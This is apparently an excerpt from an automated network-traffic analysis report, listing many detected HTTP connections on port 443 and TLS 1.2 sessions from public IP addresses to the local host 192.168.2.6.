Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 64915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64736
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64737
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64749
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64743
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 64859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64759
Source: unknown	Network traffic detected: HTTP traffic on port 65463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64750
Source: unknown	Network traffic detected: HTTP traffic on port 64803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 50685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 64797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 64837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64761
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64718
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64719
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64728
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64720
Source: unknown	Network traffic detected: HTTP traffic on port 64731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 64737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 65455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 64750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 64910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 65465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 64873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 64909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 64816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65469 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:64726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:64743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:64747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:64797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:64818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:64864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.6:64904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:64902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:64910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.115.138:443 -> 192.168.2.6:65450 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:65455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.6:65457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.117.173:443 -> 192.168.2.6:65459 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65464 version: TLS 1.2
